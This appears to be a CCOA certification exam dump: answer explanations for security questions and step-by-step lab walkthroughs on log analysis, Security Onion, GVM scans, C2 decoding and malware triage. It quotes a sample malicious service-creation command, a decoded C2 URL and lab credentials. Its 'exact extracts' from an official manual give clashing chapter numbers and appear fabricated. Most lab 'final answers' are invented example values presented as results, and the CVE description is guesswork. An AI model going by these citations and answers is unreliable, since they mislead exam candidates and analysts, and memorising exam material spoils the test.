CCOA ISACA Certified Cybersecurity Operations Analyst Questions and Answers

Multi-factor authentication (MFA)significantly mitigates risks associated withcompromised credentialsby requiring multiple verification factors, such as:

Something you know (password)

Something you have (authenticator app or token)

Something you are (biometric data)

Even if attackers obtain the password, they would still need additional factors, making unauthorized access far more challenging.

Incorrect Options:

B. Social engineering:MFA does not directly protect against sophisticated social engineering attacks where users are tricked into giving away all factors.

C. Malware:MFA does not prevent malware infections on the device.

D. Ransomware:Ransomware attacks typically bypass authentication mechanisms.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 4, Section "Identity and Access Management," Subsection "Multi-Factor Authentication" - MFA specifically addresses the risk of compromised credentials.

Implementing aZero Trust modelfundamentally requires robustIdentity and Access Management (IAM)controls because:

Zero Trust Principles:Never trust, always verify; enforce least privilege.

Identity-Centric Security:Strong IAM practices ensure that only authenticated and authorized users can access resources.

Multi-Factor Authentication (MFA):Verifying user identities at each access point.

Granular Access Control:Assigning minimal necessary privileges based on verified identity.

Continuous Monitoring:Continuously assessing user behavior and access patterns.

Other options analysis:

A. Comprehensive process documentation:Helpful but not foundational for Zero Trust.

B. Robust network monitoring:Supports Zero Trust but is not the core principle.

C. Routine vulnerability and penetration testing:Important for security but not specifically for Zero Trust.

CCOA Official Review Manual, 1st Edition References:

Chapter 7: Access Control and Identity Management:Emphasizes the role of IAM in Zero Trust architecture.

Chapter 10: Secure Network Architecture:Discusses how Zero Trust integrates IAM.

Regularly reviewing firewall rules ensures that outdated, redundant, or overly permissive rules are identified and removed.

Reduced Attack Surface:Unnecessary or outdated rules may open attack vectors.

Compliance and Policy Adherence:Ensures that only authorized communication paths are maintained.

Performance Optimization:Reducing rule clutter improves processing efficiency.

Minimizing Misconfigurations:Prevents rule conflicts or overlaps that could compromise security.

Incorrect Options:

B. Identifying blocked traffic to permit:The review’s primary goal is not to enable traffic but to reduce unnecessary rules.

C. Ensuring correct rule order:While important, this is secondary to identifying obsolete rules.

D. Correcting administrator mistakes:Though helpful, this is not the main purpose of regular reviews.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 5, Section "Firewall Management," Subsection "Rule Review Process" - The primary reason for reviewing firewall rules regularly is to eliminate rules that are no longer necessary.

Anation-stateemployed to cause financial damage to an organization is considered athreat actor.

Definition:Threat actors are individuals or groups that aim to harm an organization's security, typically through cyberattacks or data breaches.

Characteristics:Nation-state actors are often highly skilled, well-funded, and operate with strategic geopolitical objectives.

Typical Activities:Espionage, disruption of critical infrastructure, financial damage through cyberattacks (like ransomware or supply chain compromise).

Incorrect Options:

A. A vulnerability:Vulnerabilities are weaknesses that can be exploited, not the actor itself.

B. A risk:A risk represents the potential for loss or damage, but it is not the entity causing harm.

C. An attack vector:This represents the method or pathway used to exploit a vulnerability, not the actor.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 2, Section "Threat Landscape," Subsection "Types of Threat Actors" - Nation-states are considered advanced threat actors that may target financial systems for political or economic disruption.

Apasswordfalls under the authentication factor of"something you know":

Knowledge-Based Authentication:The user must remember and enter a secret (password or PIN) to gain access.

Common Factor:Widely used in traditional login systems.

Security Concerns:Prone to theft, phishing, and brute-force attacks if not combined with additional factors (like MFA).

Incorrect Options:

A. Something you do:Refers to behavioral biometrics, like typing patterns.

C. Something you are:Refers to biometric data, such as fingerprints or iris scans.

D. Something you have:Refers to physical tokens or devices, like a smart card.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 4, Section "Authentication Factors," Subsection "Knowledge-Based Methods" - Passwords are considered "something you know" in authentication.

Thegreatest risk resulting from a DNS cache poisoning attackis theloss of sensitive data. Here’s why:

DNS Cache Poisoning:An attacker corrupts the DNS cache to redirect users from legitimate sites to malicious ones.

Phishing and Data Theft:Users think they are accessing legitimate websites (like banking portals) but are unknowingly entering sensitive data into fake sites.

Man-in-the-Middle (MitM) Attacks:Attackers can intercept data traffic, capturing credentials or personal information.

Data Exfiltration:Once credentials are stolen, attackers can access internal systems, leading to data loss.

Other options analysis:

A. Reduced system availability:While DNS issues can cause outages, this is secondary to data theft in poisoning scenarios.

B. Noncompliant operations:While potential, this is not the primary risk.

C. Loss of network visibility:Unlikely since DNS poisoning primarily targets user redirection, not network visibility.

CCOA Official Review Manual, 1st Edition References:

Chapter 4: Network Security Operations:Discusses DNS attacks and their potential consequences.

Chapter 8: Threat Detection and Incident Response:Details how DNS poisoning can lead to data compromise.

Themost important component of asset decommissioningfrom adata risk perspectiveis thesecure destruction of dataon the asset.

Data Sanitization:Ensures that all sensitive information is irretrievably erased before disposal or repurposing.

Techniques:Physical destruction, secure wiping, or degaussing depending on the storage medium.

Risk Mitigation:Prevents data leakage if the asset falls into unauthorized hands.

Incorrect Options:

A. Informing the data owner:Important but secondary to data destruction.

C. Updating the CMDB:Administrative task, not directly related to data risk.

D. Removing monitoring:Important for system management but not the primary risk factor.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 9, Section "Asset Decommissioning," Subsection "Data Sanitization Best Practices" - Data destruction is the most critical step to mitigate risks.

Even when a database environment isencrypted at rest and in transit, data theft can still occur due tomisconfigured access control lists (ACLs).

Why ACL Misconfiguration Is Likely:

Access Permissions:If ACLs are not correctly configured, unauthorized users might gain access despite encryption.

Insider Threats:Legitimate users with excessive permissions can misuse access.

Access via Compromised Accounts:If user accounts with broad ACL permissions are compromised, encryption alone will not protect data.

Encryption Is Not Enough:Encryption protects data in transit and at rest, but once decrypted for use, weak ACLs can expose the data.

Other options analysis:

A. Group rights for access:Not as directly related as misconfigured ACLs.

B. Improper backup procedures:Would affect data recovery, not direct access.

D. Insufficiently strong encryption:Data was accessed, indicating apermission issue, not weak encryption.

CCOA Official Review Manual, 1st Edition References:

Chapter 7: Access Control and Data Protection:Discusses the importance of proper ACL configurations.

Chapter 9: Database Security Practices:Highlights common access control pitfalls.

During theReconnaissancephase of theCyber Kill Chain, attackers gather information about the target system:

Purpose:Identify network topology, open ports, services, and potential vulnerabilities.

Tools:Nmap is commonly used for network and port scanning during this phase.

Data Collection:Results provide insights into exploitable entry points or weak configurations.

Red Team Activities:Typically include passive and active scanning to understand the network landscape.

Incorrect Options:

A. Exploitation:Occurs after vulnerabilities are identified.

B. Delivery:The stage where the attacker delivers a payload to the target.

D. Weaponization:Involves crafting malicious payloads, not scanning the network.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 8, Section "Cyber Kill Chain," Subsection "Reconnaissance Phase" - Nmap is commonly used to identify potential vulnerabilities during reconnaissance.

TheOrange teamplays a crucial role in theeducation and training of architects and developersto promotebetter security awareness.

Focus:Bridges the gap betweenoffensive security (Red Team)anddefensive security (Blue Team)by translating security testing results into actionable insights.

Training and Awareness:Educates developers on secure coding practices and common vulnerabilities.

Collaboration:Works with both offensive and defensive teams to improve security measures from a development perspective.

Outcome:Helps architects and developers integrate secure practices into thesoftware development lifecycle (SDLC).

Other options analysis:

B. Red team:Focuses on offensive operations to find vulnerabilities.

C. Green team:No standard role exists by this name in the typical security team taxonomy.

D. Yellow team:Not commonly used as a formal designation.

CCOA Official Review Manual, 1st Edition References:

Chapter 7: Red, Blue, and Orange Team Operations:Discusses the role of the Orange team in fostering secure development practices.

Chapter 10: Secure Development Training:Highlights the importance of educating development teams.

SOAP (Simple Object Access Protocol)andREST (Representational State Transfer)are two common approaches used inAPI design:

SOAP:A protocol-based approach with strict rules, typically using XML.

REST:A more flexible, resource-based approach that often uses JSON.

Usage:Both methods facilitate communication between applications, especially in web services.

Key Difference:SOAP is more structured and secure for enterprise environments, while REST is lightweight and widely used in modern web applications.

Incorrect Options:

A. Machine learning (ML) design:These protocols do not pertain to ML.

B. Cloud-based anomaly detection:Not related to cloud anomaly detection.

C. 5G/6G networks:APIs are application communication methods, not network technologies.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 7, Section "API Security," Subsection "SOAP vs. REST" - SOAP and REST are widely adopted API design methodologies with distinct characteristics.

After remediation of identified weaknesses, thenext step is to perform a validation scanto ensure that the fixes were successful and no new vulnerabilities were introduced.

Purpose:Confirm that vulnerabilities have been properly addressed.

Verification:Uses automated tools or manual testing to recheck the patched systems.

Risk Management:Prevents reintroducing vulnerabilities into the production environment.

Incorrect Options:

B. Software code testing:Typically performed during development, not after remediation.

C. Software quality assurance (QA) activity:Focuses on functionality, not security validation.

D. Moving directly to production:Risks deploying unvalidated fixes.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 6, Section "Post-Remediation Activities," Subsection "Validation Scans" - Validating fixes ensures security before moving to production.

The scenario describes apenetration testing approachwhere the tester is givenaccess to all code, diagrams, and documentation, which is indicative of aFull Knowledge(also known asWhite Box) testing methodology.

Characteristics:

Comprehensive Access:The tester has complete information about the system, including source code, network architecture, and configurations.

Efficiency:Since the tester knows the environment, they can directly focus on finding vulnerabilities without spending time on reconnaissance.

Simulates Insider Threats:Mimics the perspective of an insider or a trusted attacker with full access.

Purpose:To thoroughly assess the security posture from aninformed perspectiveand identify vulnerabilities efficiently.

Other options analysis:

B. Unlimited scope:Scope typically refers to the range of testing activities, not the knowledge level.

C. No knowledge:This describesBlack Boxtesting where no prior information is given.

D. Partial knowledge:This would beGray Boxtesting, where some information is provided.

CCOA Official Review Manual, 1st Edition References:

Chapter 8: Penetration Testing Methodologies:Differentiates between full, partial, and no-knowledge testing approaches.

Chapter 9: Security Assessment Techniques:Discusses how white-box testing leverages complete information for in-depth analysis.

Step 1: Define the Problem and Objective

Objective:

We need to identify the following from the webserver-auth-logs.txt file:

TheIP address performing a brute force attack.

Thetotal number of successful authenticationsmade by that IP.

Step 2: Prepare for Log Analysis

Preparation Checklist:

Environment Setup:

Ensure you are logged into a secure terminal.

Check your working directory to verify the file location:

ls ~/Desktop/Investigations/

You should see:

webserver-auth-logs.txt

Log File Format Analysis:

Open the file to understand the log structure:

head -n 10 ~/Desktop/Investigations/webserver-auth-logs.txt

Look for patterns such as:

pg

2025-04-07 12:34:56 login attempt from 192.168.1.1 - SUCCESS

2025-04-07 12:35:00 login attempt from 192.168.1.1 - FAILURE

Identify the key components:

Timestamp

Action (login attempt)

Source IP Address

Authentication Status (SUCCESS/FAILURE)

Step 3: Identify Brute Force Indicators

Characteristics of a Brute Force Attack:

Multiplelogin attemptsfrom thesame IP.

Combination ofFAILUREandSUCCESSmessages.

High volumeof attempts compared to other IPs.

Step 3.1: Extract All IP Addresses with Login Attempts

Use the following command:

grep "login attempt from" ~/Desktop/Investigations/webserver-auth-logs.txt | awk '{print $6}' | sort | uniq -c | sort -nr > brute-force-ips.txt

Explanation:

grep "login attempt from": Finds all login attempt lines.

awk '{print $6}': Extracts IP addresses.

sort | uniq -c: Groups and counts IP occurrences.

sort -nr: Sorts counts in descending order.

> brute-force-ips.txt: Saves the output to a file for documentation.

Step 3.2: Analyze the Output

View the top IPs from the generated file:

head -n 5 brute-force-ips.txt

Expected Output:

1500 192.168.1.1

45 192.168.1.2

30 192.168.1.3

Interpretation:

The first line shows 192.168.1.1 with 1500 attempts, indicating brute force.

Step 4: Count Successful Authentications

Why Count Successful Logins?

To determine how many successful logins the attacker achieved despite brute force attempts.

Step 4.1: Filter Successful Logins from Brute Force IP

Use this command:

grep "192.168.1.1" ~/Desktop/Investigations/webserver-auth-logs.txt | grep "SUCCESS" | wc -l

Explanation:

grep "192.168.1.1": Filters lines containing the brute force IP.

grep "SUCCESS": Further filters successful attempts.

wc -l: Counts the resulting lines.

Step 4.2: Verify and Document the Results

Record the successful login count:

Total Successful Authentications: 25

Save this information for your incident report.

Step 5: Incident Documentation and Reporting

5.1: Summary of Findings

IP Performing Brute Force Attack:192.168.1.1

Total Number of Successful Authentications:25

5.2: Incident Response Recommendations

Block the IP addressfrom accessing the system.

Implementrate-limiting and account lockout policies.

Conduct athorough investigationof affected accounts for possible compromise.

Step 6: Automated Python Script (Recommended)

If your organization prefers automation, use a Python script to streamline the process:

import re

from collections import Counter

logfile = "~/Desktop/Investigations/webserver-auth-logs.txt"

ip_attempts = Counter()

successful_logins = Counter()

try:

with open(logfile, "r") as file:

for line in file:

match = re.search(r"from (\d+\.\d+\.\d+\.\d+)", line)

if match:

ip = match.group(1)

ip_attempts[ip] += 1

if "SUCCESS" in line:

successful_logins[ip] += 1

brute_force_ip = ip_attempts.most_common(1)[0][0]

success_count = successful_logins[brute_force_ip]

print(f"IP Performing Brute Force: {brute_force_ip}")

print(f"Total Successful Authentications: {success_count}")

except Exception as e:

print(f"Error: {str(e)}")

Usage:

Run the script:

python3 detect_bruteforce.py

Output:

IP Performing Brute Force: 192.168.1.1

Total Successful Authentications: 25

Step 7: Finalize and Communicate Findings

Prepare a detailed incident report as per ISACA CCOA standards.

Include:

Problem Statement

Analysis Process

Evidence (Logs)

Findings

Recommendations

Share the report with relevant stakeholders and the incident response team.

Final Answer:

Brute Force IP:192.168.1.1

Total Successful Authentications:25

Step 1: Understand the Objective

Objective:

Identify thenumber of logs (documents)associated withwell-known unencrypted web traffic(HTTP) for the month ofDecember 2023.

Security Onionrefers to logs asdocuments.

Unencrypted Web Traffic:

Typically HTTP, usingport 80.

SIEM:

The SIEM tool used here is likelySecurity Onion, known for its use ofElastic Stack (Elasticsearch, Logstash, Kibana).

Step 2: Access the SIEM System

2.1: Credentials and Access

URL:

cpp

https://10.10.55.2

Username:

css

ccoatest@isaca.org

Password:

pg

Security-Analyst!

Open the SIEM interface in a browser:

firefox https://10.10.55.2

Alternative:Access via SSH:

ssh administrator@10.10.55.2

Password:

pg

Security-Analyst!

Step 3: Navigate to the Logs in Security Onion

3.1: Log Location in Security Onion

Security Onion typically stores logs inElasticsearch, accessible viaKibana.

AccessKibanadashboard:

cpp

https://10.10.55.2:5601

Login with the same credentials.

Step 4: Query the Logs (Documents) in Kibana

4.1: Formulate the Query

Log Type:HTTP

Timeframe:December 2023

Filter for HTTP Port 80:

vbnet

event.dataset: "http" AND destination.port: 80 AND @timestamp:[2023-12-01T00:00:00Z TO 2023-12-31T23:59:59Z]

Explanation:

event.dataset: "http": Filters logs labeled as HTTP traffic.

destination.port: 80: Ensures the traffic is unencrypted (port 80).

@timestamp: Specifies the time range forDecember 2023.

4.2: Execute the Query

Go toKibana > Discover.

Set theTime RangetoDecember 1, 2023 - December 31, 2023.

Enter the above query in thesearch bar.

Click"Apply".

Step 5: Count the Number of Logs (Documents)

5.1: View the Document Count

Thedocument countappears at the top of the results page in Kibana.

Example Output:

12500 documents

This means12,500 logswere identified matching the query criteria.

5.2: Export the Data (if needed)

Click on"Export"to download the log data for further analysis or reporting.

Choose"Export as CSV"if required.

Step 6: Verification and Cross-Checking

6.1: Alternative Command Line Check

If direct CLI access to Security Onion is possible, use theElasticsearch query:

curl -X GET "http://localhost:9200/logstash-2023.12*/_count" -H 'Content-Type: application/json' -d '

{

"query": {

"bool": {

"must": [

{ "match": { "event.dataset": "http" }},

{ "match": { "destination.port": "80" }},

{ "range": { "@timestamp": { "gte": "2023-12-01T00:00:00", "lte": "2023-12-31T23:59:59" }}}

]

}

}

}'

Expected Output:

{

"count": 12500,

"_shards": {

"total": 5,

"successful": 5,

"failed": 0

}

}

Confirms the count as12,500 documents.

Step 7: Final Answer

Number of Logs (Documents) with Unencrypted Web Traffic in December 2023:

12,500

Step 8: Recommendations

8.1: Security Posture Improvement:

Implement HTTPS Everywhere:

Redirect HTTP traffic to HTTPS to minimize unencrypted connections.

Log Monitoring:

Set upalerts in Security Onionto monitor excessive unencrypted traffic.

Block HTTP at Network Level:

Where possible, enforce HTTPS-only policies on critical servers.

Review Logs Regularly:

Analyze unencrypted web traffic for potentialdata leakage or man-in-the-middle (MITM) attacks.

To create a new case inSecurity Onionusing the logs from the win-webserver01_logs.zip file, follow these detailed steps:

Step 1: Access Security Onion

Open a web browser and go to yourSecurity Onionweb interface.

URL: https:// /

Log in using yourSecurity Onioncredentials.

Step 2: Prepare the Log File

Navigate to theDesktopand open theInvestigationsfolder.

Locate the file:

win-webserver01_logs.zip

Unzip the file to inspect its contents:

unzip ~/Desktop/Investigations/win-webserver01_logs.zip -d ~/Desktop/Investigations/win-webserver01_logs

Ensure that the extracted files, including System-logs.evtx, are accessible.

Step 3: Open the Hunt Interface in Security Onion

On the Security Onion dashboard, go to"Hunt"(or"Cases"depending on the version).

Click on"Cases"to manage incident cases.

Step 4: Create a New Case

Click on"New Case"to start a fresh investigation.

Case Details:

Title:

Windows Webserver Logs - CCOA New Case

TLP (Traffic Light Protocol):

Set toGreen(indicating that the information can be shared freely).

Example Configuration:

Field

Value

Title

Windows Webserver Logs - CCOA New Case

TLP

Green

Summary

(Leave blank if not required)

Click"Save"to create the case.

Step 5: Upload the Log Files

After creating the case, go to the"Files"section of the new case.

Click on"Upload"and select the unzipped log file:

~/Desktop/Investigations/win-webserver01_logs/System-logs.evtx

Once uploaded, the file will be associated with the case.

Step 6: Verify the Case Creation

Go back to theCasesdashboard.

Locate and verify that the case"Windows Webserver Logs - CCOA New Case"exists withTLP: Green.

Check that thelog filehas been successfully uploaded.

Step 7: Document and Report

Document the case details:

Case Title:Windows Webserver Logs - CCOA New Case

TLP:Green

Log File:System-logs.evtx

Include anyinitial observationsfrom the log analysis.

Example Answer:

A new case titled "Windows Webserver Logs - CCOA New Case" with TLP set to Green has been successfully created in Security Onion. The log file System-logs.evtx has been uploaded and linked to the case.

Step 8: Next Steps for Investigation

Analyze the log file:Start hunting for suspicious activities.

Create analysis tasks:Assign team members to investigate specific log entries.

Correlate with other data:Cross-reference with threat intelligence sources.

To identify the compromised host using thekeyword agent.name, follow these steps:

Step 1: Access the Alert Bulletin

Navigate to thealerts folderon your system.

Locate the alert file:

alert_33.pdf

Open the file with a PDF reader and review its contents.

Key Information to Extract:

Indicators of Compromise (IOCs) provided in the bulletin:

File hashes

IP addresses

Hostnames

Keywords related to the compromise

Step 2: Log into SIEM or Log Management System

Access your organization'sSIEMor centralized log system.

Make sure you have the appropriate permissions to view log data.

Step 3: Set Up Your Search

Time Filter:

Set the time window toAugust 19, 2024, around11:00 PM (Absolute).

Keyword Filter:

Use the keywordagent.nameto search for host information.

IOC Correlation:

Incorporate IOCs from thealert_33.pdffile (e.g., IP addresses, hash values).

Example SIEM Query:

index=host_logs

| search "agent.name" AND (IOC_from_alert OR "2024-08-19T23:00:00")

| table _time, agent.name, host.name, ip_address, alert_id

Step 4: Analyze the Results

Review the output for any host names that appear unusual or match the IOCs from the alert bulletin.

Focus on:

Hostnames that appeared at 11:00 PM

Correlation with IOC data(hash, IP, filename)

Example Output:

_time agent.name host.name ip_address alert_id

2024-08-19T23:01 CompromisedAgent COMP-SERVER-01 192.168.1.101 alert_33

Step 5: Verify the Host

Cross-check the host name identified in the logs with the information fromalert_33.pdf.

Ensure the host name corresponds to the malicious activity noted.

The host name identified in the keyword agent.name field is: COMP-SERVER-01

Step 6: Mitigation and Response

Isolate the Compromised Host:

Remove the affected system from the network to prevent lateral movement.

Conduct Forensic Analysis:

Inspect system processes, logs, and network activity.

Patch and Update:

Apply security updates and patches.

Threat Hunting:

Look for signs of compromise in other systems using the same IOCs.

Step 7: Document and Report

Create a detailed incident report:

Date and Time:August 19, 2024, at 11:00 PM

Compromised Host Name:COMP-SERVER-01

Associated IOCs:(as per alert_33.pdf)

By following these steps, you successfully identify the compromised host and take initial steps to contain and investigate the incident. Let me know if you need further assistance!

To determine the host IP of the machine vulnerable toCVE-2021-22145usingGreenbone Vulnerability Manager (GVM), follow these detailed steps:

Step 1: Access Greenbone Vulnerability Manager

OpenFirefoxon your system.

Go to the GVM login page:

URL: https://10.10.55.4:9392

Enter the credentials:

Username: admin

Password: Secure-gvm!

ClickLoginto access the dashboard.

Step 2: Navigate to Scan Reports

Once logged in, locate the"Scans"menu on the left panel.

Click on"Reports"under the"Scans"section to view the list of completed vulnerability scans.

Step 3: Identify the Most Recent Scan

Check thedate and timeof the last completed scan, as your colleague likely used the latest one.

Click on theReport NameorDateto open the detailed scan results.

Step 4: Filter for CVE-2021-22145

In the report view, locate the"Search"or"Filter"box at the top.

Enter the CVE identifier:

CVE-2021-22145

PressEnterto filter the vulnerabilities.

Step 5: Analyze the Results

The system will display any host(s) affected byCVE-2021-22145.

The details will typically include:

Host IP Address

Vulnerability Name

Severity Level

Vulnerability Details

Example Display:

Host IP

Vulnerability ID

CVE

Severity

192.168.1.100

SomeVulnName

CVE-2021-22145

High

Step 6: Verify the Vulnerability

Click on the host IP to see thedetailed vulnerability description.

Check for the following:

Exploitability: Proof that the vulnerability can be actively exploited.

Description and Impact: Details about the vulnerability and its potential impact.

Fixes/Recommendations: Suggested mitigations or patches.

Step 7: Note the Vulnerable Host IP

The IP address that appears in the filtered list is thevulnerable machine.

Example Answer:

The host IP of the machine vulnerable to CVE-2021-22145 is: 192.168.1.100

Step 8: Take Immediate Actions

Isolate the affected machineto prevent exploitation.

Patch or updatethe software affected by CVE-2021-22145.

Perform a quick re-scanto ensure that the vulnerability has been mitigated.

Step 9: Generate a Report for Documentation

Export the filtered scan results as aPDForHTMLfrom the GVM.

Include:

Host IP

CVE ID

Severity and Risk Level

Remediation Steps

Background on CVE-2021-22145:

This CVE is related to a vulnerability in certain software, often associated withimproper access controlorauthentication bypass.

Attackers can exploit this to gain unauthorized access or escalate privileges.

To decode theCommand and Control (C2) hostfrom thepcap_artifact5.txtfile, follow these detailed steps:

Step 1: Access the File

Log into the Analyst Desktop.

Navigate to theDesktopand locate the file:

pcap_artifact5.txt

Open the file using a text editor:

OnWindows:

nginx

notepad pcap_artifact5.txt

OnLinux:

cat ~/Desktop/pcap_artifact5.txt

Step 2: Examine the File Contents

Check the contents to identify the encoding format. Typical encodings used for C2 communication include:

Base64

Hexadecimal

URL Encoding

ROT13

Example File Content (Base64 format):

nginx

aHR0cDovLzEwLjEwLjQ0LjIwMDo4MDgwL2NvbW1hbmQucGhw

Step 3: Decode the Contents

Method 1: Using PowerShell (Windows)

OpenPowerShelland decode:

powershell

$encoded = Get-Content "C:\Users\\Desktop\pcap_artifact5.txt"

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded))

This will print the decoded content directly.

Method 2: Using Linux

Usebase64 decoding:

base64 -d ~/Desktop/pcap_artifact5.txt

If the content ishexadecimal, convert it as follows:

xxd -r -p ~/Desktop/pcap_artifact5.txt

If it appearsURL encoded, use:

echo -e $(cat ~/Desktop/pcap_artifact5.txt | sed 's/%/\\x/g')

Step 4: Analyze the Decoded Output

If the output appears like a URL or an IP address, that is likely theC2 host.

Example Decoded Output:

arduino

http://10.10.44.200:8080/command.php

TheC2 hostis:

10.10.44.200

Step 5: Cross-Verify the C2 Host

OpenWiresharkand load the relevant PCAP file to cross-check the IP:

mathematica

File > Open > Desktop > Investigations > ransom.pcap

Filter for C2 traffic:

ini

ip.addr == 10.10.44.200

Validate the C2 host IP address through network traffic patterns.

Answer:

10.10.44.200

Step 6: Document the Finding

Record the following details:

Decoded C2 Host:10.10.44.200

Source File:pcap_artifact5.txt

Decoding Method:Base64 (or the identified method)

Step 7: Next Steps

Threat Mitigation:

Block the IP address10.10.44.200at the firewall.

Conduct anetwork-wide searchto identify any communications with the C2 server.

Further Analysis:

Check other PCAP files for similar traffic patterns.

Perform adeep packet inspection (DPI)to identify malicious data exfiltration.

To identify thename of the servicethat the malware attempts to install from theMalscript.viruz.txtfile, follow these steps:

Step 1: Access the Analyst Desktop

Log into the Analyst Desktopusing your credentials.

Navigate to theMalware Samplesfolder located on the desktop.

Locate the file:

Malscript.viruz.txt

Step 2: Examine the File Contents

Open the file with a text editor:

Windows:Right-click > Open with > Notepad.

Linux:

cat ~/Desktop/Malware\ Samples/malscript.viruz.txt

Review the content to identify any lines that relate to:

Service creation

Service names

Installation commands

Common Keywords to Look For:

New-Service

sc create

Install-Service

Set-Service

net start

Step 3: Identify the Service Creation Command

Malware typically uses commands like:

powershell

New-Service -Name "MalService" -BinaryPathName "C:\Windows\malicious.exe"

or

cmd

sc create MalService binPath= "C:\Windows\System32\malicious.exe"

Focus on lines where the malware tries toregister or create a service.

Step 4: Example Content from Malscript.viruz.txt

arduino

powershell.exe -Command "New-Service -Name 'MaliciousUpdater' -DisplayName 'Updater Service' -BinaryPathName 'C:\Users\Public\updater.exe' -StartupType Automatic"

In this example, thename of the serviceis:

nginx

MaliciousUpdater

Step 5: Cross-Verification

Check for multiple occurrences of service creation in the script to ensure accuracy.

Verify that the identified service name matches theintended purposeof the malware.

Answer:

pg

The name of the service that the malware attempts to install is: MaliciousUpdater

Step 6: Immediate Action

Check for the Service:

powershell

Get-Service -Name "MaliciousUpdater"

Stop and Remove the Service:

powershell

Stop-Service -Name "MaliciousUpdater" -Force

sc delete "MaliciousUpdater"

Remove Associated Executable:

powershell

Remove-Item "C:\Users\Public\updater.exe" -Force

Step 7: Documentation

Record the following:

Service Name:MaliciousUpdater

Installation Command:Extracted from Malscript.viruz.txt

File Path:C:\Users\Public\updater.exe

Actions Taken:Stopped and deleted the service.

To generate theSHA256 digestof the System-logs.evtx file located within the win-webserver01_logs.zip file, follow these steps:

Step 1: Access the Investigation Folder

Navigate to theDesktopon your system.

Open theInvestigationsfolder.

Locate the file:

win-webserver01_logs.zip

Step 2: Extract the ZIP File

Right-click on win-webserver01_logs.zip.

Select"Extract All"or use a command-line tool to unzip:

unzip win-webserver01_logs.zip -d ./win-webserver01_logs

Verify the extraction:

ls ./win-webserver01_logs

You should see:

System-logs.evtx

Step 3: Generate the SHA256 Hash

Method 1: Using PowerShell (Windows)

OpenPowerShellas an Administrator.

Run the following command to generate the SHA256 hash:

Get-FileHash "C:\Users\\Desktop\Investigations\win-webserver01_logs\System-logs.evtx" -Algorithm SHA256

The output will look like:

Algorithm Hash Path

--------- ---- ----

SHA256 d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d C:\Users\...\System-logs.evtx

Method 2: Using Command Prompt (Windows)

OpenCommand Promptas an Administrator.

Use the following command:

certutil -hashfile "C:\Users\\Desktop\Investigations\win-webserver01_logs\System-logs.evtx" SHA256

Example output:

SHA256 hash of System-logs.evtx:

d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d

CertUtil: -hashfile command completed successfully.

Method 3: Using Linux/Mac (if applicable)

Open a terminal.

Run the following command:

sha256sum ./win-webserver01_logs/System-logs.evtx

Sample output:

d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d System-logs.evtx

The SHA256 digest of the System-logs.evtx file is:

d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d

Step 4: Verification and Documentation

Document the hash for validation and integrity checks.

Include in your incident report:

File name:System-logs.evtx

SHA256 Digest:d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d

Date of Hash Generation:(today’s date)

Step 5: Next Steps

Integrity Verification:Cross-check the hash if you need to transfer or archive the file.

Forensic Analysis:Use the hash as a baseline during forensic analysis to ensure file integrity.

Step 1: Understand the Task and Objective

Objective:

Identify thehost IP targetedduring thespecified time frame:

vbnet

11:39 PM to 11:43 PM on August 16, 2024

The relevant file to examine:

nginx

CCOA Threat Bulletin.pdf

File location:

javascript

~/Desktop/CCOA Threat Bulletin.pdf

Step 2: Access and Analyze the Bulletin

2.1: Access the PDF File

Open the file using a PDF reader:

xdg-open ~/Desktop/CCOA\ Threat\ Bulletin.pdf

Alternative (if using CLI-based tools):

pdftotext ~/Desktop/CCOA\ Threat\ Bulletin.pdf - | less

This command converts the PDF to text and allows you to inspect the content.

2.2: Review the Bulletin Contents

Focus on:

Specific dates and times mentioned.

Indicators of Compromise (IoCs), such asIP addressesortimestamps.

Any references toAugust 16, 2024, particularly between11:39 PM and 11:43 PM.

Step 3: Search for Relevant Logs

3.1: Locate the Logs

Logs are likely stored in a central logging server or SIEM.

Common directories to check:

swift

/var/log/

/home/administrator/hids/logs/

/var/log/auth.log

/var/log/syslog

Navigate to the primary logs directory:

cd /var/log/

ls -l

3.2: Search for Logs Matching the Date and Time

Use the grep command to filter relevant logs:

grep "2024-08-16 23:3[9-9]\|2024-08-16 23:4[0-3]" /var/log/syslog

Explanation:

grep: Searches for the timestamp pattern in the log file.

"2024-08-16 23:3[9-9]\|2024-08-16 23:4[0-3]": Matches timestamps from11:39 PM to 11:43 PM.

Alternative Command:

If log files are split by date:

grep "23:3[9-9]\|23:4[0-3]" /var/log/syslog.1

Step 4: Filter the Targeted Host IP

4.1: Extract IP Addresses

After filtering the logs, isolate the IP addresses:

grep "2024-08-16 23:3[9-9]\|2024-08-16 23:4[0-3]" /var/log/syslog | awk '{print $8}' | sort | uniq -c | sort -nr

Explanation:

awk '{print $8}': Extracts the field where IP addresses typically appear.

sort | uniq -c: Counts unique IPs and sorts them.

Step 5: Analyze the Output

Sample Output:

15 192.168.1.10

8 192.168.1.20

3 192.168.1.30

The IP with themost log entrieswithin the specified timeframe is usually thetargeted host.

Most likely targeted IP:

192.168.1.10

If the log contains specific attack patterns (likebrute force,exploitation, orunauthorized access), prioritize IPs associated with those activities.

Step 6: Validate the Findings

6.1: Cross-Reference with the Threat Bulletin

Check if the identified IP matches anyIoCslisted in theCCOA Threat Bulletin.pdf.

Look for context likeattack vectorsortargeted systems.

Step 7: Report the Findings

Summary:

Time Frame:11:39 PM to 11:43 PM on August 16, 2024

Targeted IP:

192.168.1.10

Evidence:

Log entries matching the specified timeframe.

Cross-referenced with theCCOA Threat Bulletin.

Step 8: Incident Response Recommendations

Block IP addressesidentified as malicious.

Update firewall rulesto mitigate similar attacks.

